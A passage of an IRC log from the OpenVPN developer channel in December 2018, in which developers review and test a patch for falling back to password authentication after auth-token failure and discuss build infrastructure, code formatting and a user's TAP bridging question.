out others anymore 13:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:11 <@cron2> ordex, plaisthos: suggestions for better wording for the title for "[PATCH v5] Revert to original password authentication after failed auth-token"? Then I can merge that, changing the text on the fly... 15:05 < kitsune1> More than the patch title, its the commit message that needs an editorial reconstructive surgery :) 16:21 <@dazo> cron2: What about: "Authenticate with password if auth-token fails" 16:22 <@dazo> cron2: this is also release/2.4 material 17:44 <@ordex> cron2: "Fallback to password authentication when auth-token fails" ? 17:45 <@ordex> but I agree a bit with kitsune1 :) the first sentence had some issues per se, the rest would need some more love, but it's kind of ok 17:52 <@ordex> cron2: nice patch with "Stop state-exhaustion attacks from a single source address." :) 17:52 <@ordex> I hope you did not lose more hair than needed :D 18:00 <@ordex> kitsune1: cron2: an attempt of reorganizing ideas is here, feel free to modify as you please and maybe plaisthos can say if it's ok? https://etherpad.net/p/AN9BwgxdS4 18:00 <@vpnHelper> Title: etherpad.net Pad (at etherpad.net) 18:05 < tincantech> question: should --auth-token enforce --auth-nocache .. ? 18:06 < tincantech> one might imagine a token with say 24hr validity only 18:07 < tincantech> or just cache the pw --- Log closed Fri Dec 07 18:12:13 2018 --- Log opened Sat Dec 08 16:53:44 2018 16:53 -!- Irssi: #openvpn-devel: Total of 29 nicks [7 ops, 0 halfops, 1 voices, 21 normal] 16:53 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 16:53 -!- You're now known as ecrist 16:53 -!- Irssi: Join to #openvpn-devel was synced in 21 secs --- Day changed Sun Dec 09 2018 03:01 <@ordex> cron2: I think we need an ACK from the author at this point 03:02 <@ordex> kitsune1: with auth-retry non interactive I think openvpn will just quit, no? rather than asking for user/pwd 03:03 <@ordex> ah that's when it will endelessly send the token maybe 03:03 <@ordex> so 3 behaviours are possible then 03:03 <@ordex> in any case, the commit message on etherpad says what the patch does 03:04 <@ordex> I added the third case 03:05 <@ordex> just to make it more complete :D even though this is just what openvpn does *now*, so no real need to be verbose in the commit message 03:05 <@ordex> cron2: for me the commit is good to go 03:05 <@ordex> *commit message 03:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 03:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:44 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:03 < kitsune1> ordex: yes, if auth-retry is non interactive it will just quit whereas in this case it will try once more using the original password -- which is good. Even in that case it doesnt send the token endlesslessly as the token gets wiped on AUTH_FAIL. The only endless case I know is during reneg after the token expires (no AUTH_FAIL received in that case). 11:04 < kitsune1> Hmm.. that sounds convoluted because part of it refers to before this patch and part to after this patch... 11:06 < tincantech> it's a mess ;) 13:08 * kitsune1 failed to resume my long running "screen" -- did I miss any goodies.. 13:09 < vectr0n> doesn't look like it since you last spoke 14:10 < kitsune1> thanks 18:19 <@ordex> kitsune1: nointeract -- Client will retry the connection without requerying for an --auth-user-pass 18:19 <@ordex> username/password. Use this option for unattended clients. 18:19 <@ordex> are you sure it will quit? 18:19 <@ordex> none -- Client will exit with a fatal error (this is the default). 18:19 <@ordex> ^^^ this sound slike what you said 19:11 < tincantech> why does somebody simply not make a flow chart ? 19:12 < tincantech> and then have the code act accordinglu .. 19:12 < tincantech> y* 19:13 < tincantech> it's like you are all playing Vger and have melted your comm systems .. must meet the creator! 19:47 < tincantech> dazo: "The button" is still Wrong! 19:48 < tincantech> I thought you were on "our side" .. 20:25 <@ordex> tincantech: because the flow is made of tons of corner cases :) 20:33 < tincantech> ordex: so make the flow chart and iron out the unacceptable corner cases ;) 22:22 < kitsune1> tincantech: flow chart is for babies.. we like to play chess blindfolded 22:26 < kitsune1> ordex: you are right -- I meant none which is the default. You could be right -- nointeract could retry without purging and get into an endless loop. So many cases, my head spins.. 22:26 * kitsune1 looking for a flowchart... 22:26 <@ordex> yes, so many corner cases...and there might be yet another option we haven't considered yet which might introduce another behaviour :D 22:26 * ordex boooooom 22:30 < kitsune1> So the patch is mainly about nointeract + server restart situation. Anyway, I leave it to Arne to approve or reject the commit message we cooked up. 22:36 <@ordex> mainly yes 22:37 <@ordex> it is really about: we got a AUTH_FAIL -> ok, wipe the token and use the password --- Day changed Mon Dec 10 2018 01:13 <@cron2> good morning 01:15 <@ordex> morgen 01:15 <@ordex> ! 01:42 <@syzzer> morning :) 03:35 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:00 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:00 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 04:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:49 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:51 <@ordex> cron2: fyi imho https://etherpad.net/p/AN9BwgxdS4 is fine - if plaisthos gives his blessing we should be good 05:51 <@vpnHelper> Title: etherpad.net Pad (at etherpad.net) 06:12 <@cron2> plaisthos seems to not like us anymore... 06:16 <@ordex> :D 06:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:50 <@plaisthos> ordex: looks good 06:50 <@plaisthos> cron2: wah, what did I do this time? 06:59 <@cron2> plaisthos: welcome back :-) 07:00 <@cron2> an ACKed commit has been pending since Friday since you weren't around to agree to the new commit message :-) - a consortium worked on making it nicer ;-)) 07:00 <@cron2> merging now! 07:02 <@plaisthos> cron2: was the weekend mostly away from PC and stuff 07:04 <@cron2> plaisthos: not like us wretched figures that have no life outside IRC... :-) 07:11 <@ordex> xD 07:47 <@vpnHelper> RSS Update - gitrepo: Fallback to password authentication when auth-token fails <https://github.com/OpenVPN/openvpn/commit/e61b401ac50d2a9cfabf0289811ad14cf3bd2751> 07:52 <@cron2> so, if we keep this pace, we can have our patchwork back log merged by May... \o/ 07:57 <@plaisthos> syzzer: I am reading tls-crypt.c for doing similar stuff and I noticed that the reading of the keys seems a bit odd 07:57 <@plaisthos> if (!buf_read(&client_key, &key2.keys, sizeof(key2.keys))) 07:58 <@plaisthos> that reads the keys into the struct. 07:58 <@plaisthos> but if we ever change MAX_CIPHER_KEY_LENGTH or MAX_HMAC_KEY_LENGTH defines that will break 08:00 <@plaisthos> hm the comment to MAX_CIPHER_KEY_LENGTH actually implicitly says that this is the case 08:00 <@plaisthos> nevermind then 08:17 <@vpnHelper> RSS Update - tickets: #1146: Error in add_block_dns_filters(): FwpEngineOpen: open fwp session failed : In der Endpunktzuordnung sind keine weiteren Endpunkte verfügbar. [status=0x6d9] <https://community.openvpn.net/openvpn/ticket/1146> 08:21 <@plaisthos> WTF at error message, even knowing German does not help you to understand it 08:34 < tincantech> ordex: kitsune1 .. Options error: option 'auth-gen-token' cannot be used in this context (that would be CCD ;-) seems like a valid use case ) 08:43 <@plaisthos> kitsune1: nointeract or interact does not matter 08:43 <@plaisthos> noiteract before patch => expired auth token => we quit 08:43 <@plaisthos> interact => before patch => auth-token expires => client tries forever with expired token 08:44 <@plaisthos> switch those two 08:50 < tincantech> should there not be some sort of error when a client which does not support auth-token connects and the server does not push a token to it ? 08:51 < tincantech> i mean warning 08:51 <@plaisthos> tincantech: that are too many negoation in your sentence for me to get what you are saying 08:51 < tincantech> he he 08:52 < tincantech> actually i forgot to apply the new patch ;) 08:53 <@syzzer> plaisthos: yeah, that format / size limit is basically unchangeable forever 09:00 <@plaisthos> I am just trying to wrap my head around all the different structs and context in which we have keys and trying the one that I need for my hmac secret 09:19 < tincantech> plaisthos: seems to work now i have it setup correctly, awaiting some timeouts to see the result 09:20 < tincantech> FYI: in 2.3.18 at --verb 4 the client log prints the full token .. probably consider that a bug 09:20 < kitsune1> plaisthos: nointeract means use the saved password without prompting the user again so that's the case where this patch makes a difference. With interact the patch is effective only when AUTH_FAILED is received which happens only when server is restarted or during teh first auth, not during reneg. IMO the no AUTH_FAILED during reneg is the biggest issue and this patch doesnt fix it. Talking about c 09:20 < kitsune1> ommunity server here (AS may behave differently). 09:21 < kitsune1> The client quits if AR_NONE is in use, not AR_NOINTERACT, right? 09:21 <@plaisthos> kitsune1: the patch fix that scenario too 09:22 <@plaisthos> instead treating that auth_failed as a hard error, it treats it as a soft error and forgets the auth-token 09:22 < kitsune1> How? receive_auth_failed is not triggered in case of auth failure during reneg. 09:22 <@plaisthos> hm 09:23 <@plaisthos> sure? 09:23 < kitsune1> You mean the case of quitting with AR_NONE? Yeah, that's nice, as we can indeed retry with actual password in that case. 09:24 <@plaisthos> yeah 09:25 <@plaisthos> but if I am redin the code right check_incoming_control_channel_dowork will always go to receive_auth_failed when getting an AUTH_FAILED 09:25 <@plaisthos> doesn't matter if reneg or initial connect 09:25 < kitsune1> So, yes, its an improvement, and proper handing of AUTH_FAILED is good. Now we need to make sure AUTH_FAILED is sent back in call cases. The problem there being no easy way of pushing something from auth-user-pass-verify except when push-pull processing is happening -- which is the case during intial connect but not during reneg. 09:26 <@plaisthos> ah you mean the server does not always push back AUTH_FAILED? 09:27 < kitsune1> Yeah its a well known problem and you yourself have worked on it, iirc.. :) 09:28 < kitsune1> For me that's the only real problem -- I use interact and am okay with an extra prompt for password. But trying with expired token for ever during reneg makes it impossible to use the token expire feature of auth-gen-token. 09:29 <@plaisthos> auth-gen-token is kind of broken anyway ;) 09:29 <@plaisthos> but yes I agree 09:30 < kitsune1> I got excited assuming that this patch fixes that case too --- anyway, now I know what the patch does, and sure, its useful. 09:30 <@plaisthos> kitsune1: it kind of does 09:31 <@plaisthos> kitsune1: when token expires you get auth_failed and the client reconnects and authenticates again 09:32 < kitsune1> No, you do not get auth-failed if its just a reneg which is teh case with long running servers and cleints. 09:32 <@plaisthos> kitsune1: sure about that? 09:32 < kitsune1> you just get reneg failure and the client tries again until the previous TLS session expires (could be 1 hour). 09:33 < kitsune1> easy to test -- set reneg every 10 mins token expirey 5 mins. 09:34 <@plaisthos> but reading the code right that problem exists for all kind of renogiatings 09:34 <@plaisthos> not just auth-gen-token 09:34 <@plaisthos> at least for all user-pass based ones 09:36 < kitsune1> Sure, but user pass seldom expires in the middle -- an admin may change user's password but its a planned thing. And, if password is changed and no-interact is in use, the infinite retries will continue even with this patch but that's an extreme corner case. 09:37 < tincantech> technically, isn't it correct to have the lifetime of the token outlast multiple reneg-sec periods .. that is the point og the token 09:38 < kitsune1> No, the opposite is the point of the token -- to allow frequent renegs without prompting the user for 2FA. The expiry is to ensure 2FA happens with some frequency. 09:39 < tincantech> no .. if the token expires before a reneg-sec then the token is pointless .. 09:39 < kitsune1> Yeah, that's what I said.. and there lies the problem. 09:39 < tincantech> eg. so --reneg-sec 120 --auth-gen-token 360 09:40 < kitsune1> Oh, sorry -- I wrote that the opposite :( .. reneg every 5 mins and token expires 10 mins and wait for the 3rd reneg. 09:40 < tincantech> ;) 09:41 < kitsune1> In that case, the token would be invalid by the 3rd or 4th reneg and then the client goes into this loop of reusing expired token. 09:41 < tincantech> exactly 09:41 < kitsune1> exactly :) 09:42 < tincantech> i have an unpatched client and a patched one to compare 09:43 < kitsune1> This patch wont fix it -- I'll be pleasantly surprised if it does and treat all to virtual beer. 09:44 < tincantech> oh .. then my test is a little pointless but let's see 09:48 < tincantech> this is weird .. the unpatched client seems to work correctly and does eventuallt forget the token and then reconnects correctly ... now i am confused .. 09:48 <@plaisthos> tincantech: sure about that? 09:49 < tincantech> must have done something wrong 09:49 <@plaisthos> what does it say when forgetting the token? 09:50 < tincantech> it resets due to inactivity timeout 09:50 < tincantech> not actually forgetting the token 09:50 <@plaisthos> USR1? or is that HUP? 09:51 < tincantech> Inactivity timeout (--ping-restart), restarting 09:52 < tincantech> trigger a SIGUSR1 restart after n seconds pass without reception of a ping 09:57 < kitsune1> tincantech: ping restart will happen if the previously negotiated TLS session expires which I think lives on for the same time as the reneg-sec. So setting very low reneg-sec (< ping-restart) may not be a good test. 10:00 < tincantech> kitsune1: agreed, i am trying to remember how to set it up to keep trying the token .. ? 10:03 < tincantech> so we only want to test the token expiry .. how do you trigger the reconnect with token if not via reneg ? 10:04 < tincantech> flow chart time ;) 10:04 < tincantech> maybe we can put a page on trac and work out the logic there 10:04 < kitsune1> We want to trigger it by reneg, so set that to, say 10 mins and wait :) Or disable ping-restart. 10:06 < tincantech> reneg-sec will expire the keys and eventually result in ping-timeout 10:06 < tincantech> ah .. i have server reneg-sec 360, client reneg-sec 0 10:06 < tincantech> so do we want these to be equal ? 10:07 < kitsune1> No, the old session continues until new one is negotiated so ping and data flow will continue during reneg. That's the nice thing about reneg -- long runningd ata sessions with the advantage of frequent rekeying. 10:07 < tincantech> ah .. i have server reneg-sec 360, client reneg-sec 0 10:07 < tincantech> so do we want these to be equal ? 10:07 < kitsune1> 0 is good -- the non-zero one iwll override 0. 10:07 < tincantech> i think so 10:08 < tincantech> i think you are missing the point, in my scenario the client will not reneg, it will only timeout 10:08 < tincantech> changing now 10:08 < kitsune1> Otherwise the shortest one wins (with 0 interpreted as infinity or disabled). 10:09 < kitsune1> Really, I use 0 on all clients so that it can be controlled from the server using ccd in a client-specific way. 10:09 < kitsune1> ? 10:10 < tincantech> you mean you push reneg-sec from the server in a ccd ? 10:11 < kitsune1> yes, but i may be mis-speaking.. checking my setup now.. 10:14 < tincantech> first round complete: TLS: Username/auth-token authentication succeeded for 10:15 < kitsune1> Well, I have 0 in the server, nothing in ccd but differnt values in client configs. I've some clients which are connected by poor high latency links which find reneg very taxing (TLS reneg timesouts) so for those clients I have infrequent reneg. 10:15 < kitsune1> That would be same as pushing from ccd, I guess. 10:15 < tincantech> your clients initiate the reneg 10:16 <@mattock1> I know you guys love #ifdefs, so here's a thesis being written about them: https://www.befragungen.ovgu.de/cprepsurvey/?d=UXTEQBY9 10:16 <@vpnHelper> Title: Preprocessor Survey (at www.befragungen.ovgu.de) 10:16 < kitsune1> yes, --- but I thought server could initiate it too with 0 on client and non-zero on reneg. I could be wrong there. 10:16 <@plaisthos> iirc it controls who initiates the renog 10:17 <@plaisthos> but it really does not matter much client or server initiate the renog 10:17 < kitsune1> plaisthos: thanks -- that's what I thought -- recall using 0 on client and nonzero on server without issues. 10:17 < tincantech> it seems it does make a difference tho .. even if not by design .. 10:18 < kitsune1> interesting -- man page also appears to imply it should work either way. 10:20 < kitsune1> mattock1: got the survey request -- I'm a C guy and love preprocessor (use in moderation) -- had no idea one could do a thesis on them.. 10:22 < tincantech> my unpatched client has fallen back to password .. i'm trying now with 2.4.6 and not an unpatched master 10:23 < kitsune1> You mean the client recognized token expiry? 10:26 < tincantech> there is nothing in the client log about either forgetting the token or ping-timeout but yes, it fell back to password: eg. TLS: Username/password authentication succeeded for 10:26 < tincantech> looking carefully at timestamps on the server log .. that is what i see 10:28 < tincantech> i have to go do some things .. i'll search for how i got the endless token retry scenario, i think this could do with documenting properly and not stabbing in the dark ;) 10:29 < kitsune1> Username/password succeeded will happen during reneg if the token is valid too -- so was this after token expiry? 10:29 < kitsune1> I thought there is a trac ticket on it -- cant find it now, though.. 10:29 < tincantech> if the token is valid the server says: username/token not username/password 10:30 < tincantech> keep up :) 10:30 < tincantech> actually it says username/auth-token 10:33 < tincantech> before i go .. i seem to have found a related issue .. please hear me out 10:34 < tincantech> so the server expired the keys "soft reset" 10:34 < tincantech> but the --ping did not detect that 10:35 < tincantech> until over 1 minute later when i tied OS ping and then the server log reported keys out of sync 10:35 < tincantech> i have the logs which i can send 10:35 < tincantech> i'll paste it later 10:37 * tincantech afk 10:40 < kitsune1> hmm.. how's it even possible for username/password to succeed after token expiry as the token overwrites the password on client (before this patch). Will do some tests later. 10:43 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:43 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 10:45 <@plaisthos> I think someone got confused by all key state too ... 10:45 <@plaisthos> key_method_2_read(struct buffer *buf, struct tls_multi *multi, struct tls_session *session) 10:46 <@plaisthos> tls_multi includes the tls_session, so this is not needed %) 10:56 <@cron2> tell me about structures... finding my way to ks->state starting from multi_context was quite an adventure... 10:56 <@cron2> I even tried running from gdb and "print *m", but these structures are Just Too Big 11:08 < tincantech> it struck me as a walked out the door, what i showed before was just the diff channels DATA v CONTROL .. not sure what to expect there so consider that a false warning 11:54 < tincantech> I think this was the initial trac https://community.openvpn.net/openvpn/ticket/840 11:54 <@vpnHelper> Title: #840 (Server --auth-gen-token and client --auth-nocache do not work together) – OpenVPN Community (at community.openvpn.net) 11:54 < tincantech> kitsune1: ^ 11:56 < tincantech> and I think we need to add --auth-retry nointeract to the list of problems 12:16 < tincantech> plaisthos: i just fullu tested your new patch master correctly and it does indeed forget the token 12:16 < tincantech> msg: SIGUSR1[soft,auth-failure (auth-token)] received, process restarting 12:16 < tincantech> then it restarts with the original password 12:17 < tincantech> --auth-nocache is *not* in use 12:19 < tincantech> --auth-retry nointeract *is* in use .. so it must have restored the original password after recieving "AUTH: Received control message: AUTH_FAILED" 12:22 < tincantech> FTR: it did try one time to reconnect with the expired token and obv. failed 12:24 < tincantech> wonder what happens with --auth-nocache ;) as per the trac 12:24 <@vpnHelper> RSS Update - tickets: #1147: token authentication issues <https://community.openvpn.net/openvpn/ticket/1147> 12:26 < tincantech> er cron2 .. i just tested it successfully 12:31 <@cron2> "it" 12:32 < tincantech> plaisthos' patch on master and it appears to work correctly .. when you setup the client correctly 12:32 < tincantech> the --auth-token business 12:33 < tincantech> at least for this particular scenario 12:33 <@cron2> that patch has been merged & pushed like 6 hours ago :-) - but the mail had many more issues of which only one has been addressed 12:33 < tincantech> yes , agreed 12:38 < tincantech> plaisthos: just tested the same setup with --auth-retry nointeract and it falls back to asking for the password as expected 14:01 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 14:23 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 15:13 < tincantech> can be closed : https://community.openvpn.net/openvpn/ticket/1125 15:13 <@vpnHelper> Title: #1125 (Expired CA certificate causes looping auth) – OpenVPN Community (at community.openvpn.net) 17:12 <@ordex> cron2: lol at the structures :D I know what you mean 17:12 <@ordex> hehe 17:12 <@ordex> once you are so deep...sometimes you forget why you started that journey at all XD 23:42 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] --- Day changed Tue Dec 11 2018 00:31 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:31 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 01:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:42 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 02:10 -!- siruf_ is now known as siruf 02:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:02 <@mattock1> meeting tomorrow? 03:02 <@cron2> yep 03:11 <@mattock1> ok I shall prepare it then 06:35 <@cron2> https://news.ycombinator.com/item?id=18442941 06:35 <@cron2> yay 06:35 <@vpnHelper> Title: Oracle Database 12.2. It is close to 25 million lines of C code. What an unima... | Hacker News (at news.ycombinator.com) 06:47 <@plaisthos> yeah but one of few examples of unit tests being done right 06:55 <@cron2> this part, yes. 08:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 11:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 21:01 <@ecrist> mattock1: do we do any GUI testing right now? I have a request out to FrogLogic for Squish for some EasyRSA testing. If I get that going, we could do some Windows GUI testing for the main OpenVPN app, too. 21:04 <@ecrist> Also, are we using anything for OpenVPN regularly for fuzzy testing or static analysis? 21:39 <@ecrist> lol, fuzzy. I meant fuzz. --- Day changed Wed Dec 12 2018 01:22 <@cron2> fuzz, we don't. A few contributors have done fuzz testing and found stuff, which got fixe d:-) 01:22 <@cron2> static analysis, yes (coverity) 01:35 <@vpnHelper> RSS Update - tickets: #1148: OpenVPN Server: BGP Router: wrong ARP lookups <https://community.openvpn.net/openvpn/ticket/1148> 01:36 <@cron2> now that sounds like an interesting ticket 01:39 <@cron2> it isn't 02:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:23 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:23 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 04:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:36 <@cron2> syzzer, plaisthos, ordex: meeting? 04:36 * ordex is having dinner now - sorry :S 04:36 <@ordex> went late today 04:52 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 06:40 * plaisthos completely forgot, sorry :( 07:05 <@vpnHelper> RSS Update - gitrepo: uncrustify openvpn/ sources <https://github.com/OpenVPN/openvpn/commit/f57431cdc88f22fa4d7962946f0d3187fe058539> || uncrustify openvpnserv/ sources <https://github.com/OpenVPN/openvpn/commit/a7b5993d9d6319c77d80212db61c74060cd7e7f1> || Uncrustify sample-plugin sources according to code style <https://github.com/OpenVPN/openvpn/commit/8e2ec9e0cfa2f6bcb559927e427182635ff9f7e6> 07:19 <@cron2> whee :) 07:23 <@ecrist> cron2: good to know. 07:24 <@ecrist> I have an email thread going and Frog Logic is willing to give us some licenses as long as we put a link to them on our website. It's easy, we did the same thing for RootBSD. 07:24 <@ecrist> Do we have a Windows build server I could use for Squish? 07:41 <@cron2> mattock and I do windows builds on linux/mingw 08:03 <@mattock1> ecrist: you can also use the vagrant vm ("openvpn-build") in openvpn-vagrant (see our GitHub org) 08:07 <@ecrist> I'll poke at that, too. 08:07 <@ecrist> I think EasyRSA windows issues have become enough of a pain for me to actually start work on a C version. 08:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 08:08 <@ecrist> I've never written C, but I've threatened to. 08:10 <@dazo> ecrist: if never done C before ... this might be a golden chance to look at Rust ... that sounds like a safer language 08:11 <@ecrist> yeah? never heard of it. 08:12 <@ecrist> dazo: will I be able to leverage openssl libraries? 08:12 <@dazo> Mozilla is behind it ... and more and more of Firefox is being moved over to Rust .... it's much harder to shoot yourself in the foot with Rust compared to C 08:12 <@dazo> I believe so 08:13 <@ecrist> I'll look into it, then. 08:13 <@dazo> https://docs.rs/openssl/0.10.14/openssl/ 08:13 <@vpnHelper> Title: openssl - Rust (at docs.rs) 08:14 <@dazo> https://www.rust-lang.org/ 08:14 <@vpnHelper> Title: Rust programming language (at www.rust-lang.org) 08:14 * dazo gotta run 08:15 <@ecrist> Thanks for the suggestion. Looks promising. 08:16 <@ecrist> I'm going to try for a solid 3.1 release in it's current form and close as many issues as I can. Then I'll start re-coding it in a compiled language for 4.x 08:49 <@plaisthos> doesn't a nice bundle fix those issue? 13:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 16:29 -!- awestin1_ is now known as awestin1 --- Day changed Thu Dec 13 2018 03:47 <@cron2> so, moved over one of my VPNs to tls-auth... about as annoying as I expected (lots of different versions of OpenWRT that all expose tls-auth config in different ways...) 04:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 04:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:38 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:47 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 245 seconds] 05:49 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 06:52 <@vpnHelper> RSS Update - tickets: #1149: ssl_verify_openssl.c: missing CRL errors cause omission of verify_cert() routine <https://community.openvpn.net/openvpn/ticket/1149> 10:09 <@mattock1> cron2: what is the status of Python 3 on the various *BSD systems? 10:10 <@mattock1> it seems that the repositories for Ubuntu 18.04 and Fedora 29 include a much-updated version of Buildbot that is almost certainly incompatible with what we have 10:10 <@mattock1> I can work around that by installing buildbot using pip, but eventually we should migrate over to more recent Buildmaster + slaves, and that requires Python 3 support 12:09 <@vpnHelper> RSS Update - tickets: #1150: Failed to import .ovpn to OpenVPN Mobile <https://community.openvpn.net/openvpn/ticket/1150> 13:44 -!- krzie [b3345af6@openvpn/community/support/krzee] has joined #openvpn-devel 13:44 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Fri Dec 14 2018 00:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 02:05 <@cron2> morning 02:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:39 <@ordex> ay 08:11 <+krzie> moin moin 09:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 09:36 -!- krzie [b3345af6@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 14:58 < kitsune1> was there a meeting on Wednesday? -- if so can we get the chatlog on the devel list please.. 16:59 < tincantech> i think it was off 17:07 -!- tincantech is now known as the-button 17:09 -!- the-button is now known as tincantech --- Day changed Sat Dec 15 2018 01:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Sun Dec 16 2018 12:21 < sgstair> hmm. Is there an option to have a TAP server forward all incoming traffic to all other ports, more like a hub than a switch? I may have to switch to a 1:1 client-server topology to get the behavior I need. 12:23 < tincantech> sgstair: no option in openvpn but you can do it with iptables 12:23 < sgstair> I figured that might be an option, but I'm not familiar enough with iptables to see how 12:29 < tincantech> i don't have my notes with me but it is something to do with destination nat 12:29 < sgstair> k, I'm looking into it. Thanks for the pointer 12:29 < tincantech> so -t nat -A FORWARD foo .. something like that 12:36 <@cron2> sgstair: actually I don't think it is possible. Since we're talking "ethernet bridging" (TAP) not IP, and the openvpn server always does a learning bridge which cannot (as far as I'm aware) be turned off... 12:37 <@cron2> one could hack it in, though :) (enable client-to-client and turn off ethernet address learning "should" be sufficient) 12:39 <@cron2> well 12:39 <@cron2> if you only have two clients, there is also another alternative 12:39 < tincantech> cron2: ahh tap .. maybe ebtables would handle that, only use tun mode nowadays 12:40 <@cron2> sgstair: run *two* tap servers on the "server", but do not run "--server", only use "--tls-server" - running effectively point-to-point mode, forwarding everything "dumb" (like a long wire) 12:40 <@cron2> then use linux bridging to bridge together tap0 and tap1, and turn off mac learning on the linux bridge 12:41 < sgstair> aha. I could try that. 12:41 <@cron2> client1 --p2p-- tls-server1 --tap0--br0--tap1-- tls-server2 --p2p-- client2 12:42 <@cron2> the server config would need to have no --ifconfig statment, as the "server IP" would need to be configured on br0 12:43 < sgstair> I will try that out in a bit... 12:44 <@cron2> haven't played with linux briding in a while (back then, the command was called "brctl", now it seems to be "bridge") - but at least the manpage I found for "bridge(8)" says you can do 12:44 <@cron2> bridge link set dev $dev learning off 20:00 <@ecrist> Hey folks. Frog Logic, at my request, is going to provide some licenses so we can write some squish tests. These are mostly interactive/GUI based, which should be good for Easy-RSA, but also potentially the Windows GUI. Just FYI I'll be working on setting that up over the coming weeks. 23:54 <@ordex> I am not sure how this has survived the uncrustify crusade: "if (IN6_IS_ADDR_V4MAPPED( &maddr.v6.addr ) )" --- Day changed Mon Dec 17 2018 00:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:12 <@cron2> ecrist: sounds good. I have no idea how to do that, but Selva might be very much interested :) 01:12 <@cron2> ordex: haven't found a way to "trace" uncrustify yet, like "which rules have you applied here?" 01:13 <@cron2> and thanks for the reviews. I'll clean up and merge this afternoon. 01:14 <@cron2> And then I see that I can install the uncrustify pre-commit-check that plaisthos found, and write up something for our wiki :) 01:14 <@cron2> seems I need it too 01:42 <@ordex> yeah 01:42 <@ordex> hehe cool 02:55 <+lev__> m 03:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 05:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:20 <@mattock1> ubuntu 18.04 and fedora-29-amd64 buildslave are now functional - running final sanity checks like mbedtls builds 06:20 <@cron2> nice 06:21 <@mattock1> I think I'll reboot all the old and new buildslaves to ensure they come up ok 06:27 <@mattock1> all green 07:45 <@cron2> it fails the t_client TCP test, though... firewall issues? 07:53 <@mattock1> something like that 07:54 <@mattock1> I retested to ensure it was not a glitch 07:54 <@mattock1> it was not 07:54 <@mattock1> openvpn launches fine, so something in the middle sounds plausible 08:07 <@mattock1> there's sometihng wonky going on - if I halt "make check" at test 1 I can ping the expected IPv4 and IPv6 addresses just fine 08:08 <@cron2> this is wonky indeed... 08:08 <@cron2> one would think it might be a fping/fping6 issue, but if test 2+ are working, fping should be good 08:08 <@mattock1> or maybe it is actually not pinging the addresses it should 08:09 <@mattock1> need to check 08:11 <@mattock1> icmp replies come back ok 08:11 <@mattock1> urgh, need to look into this later... 08:11 <@mattock1> cron2: do you want to have a look at the logs to see if you see something obvious there? 08:14 <@mattock1> cron2: I optimistically put the logs to /home/gert 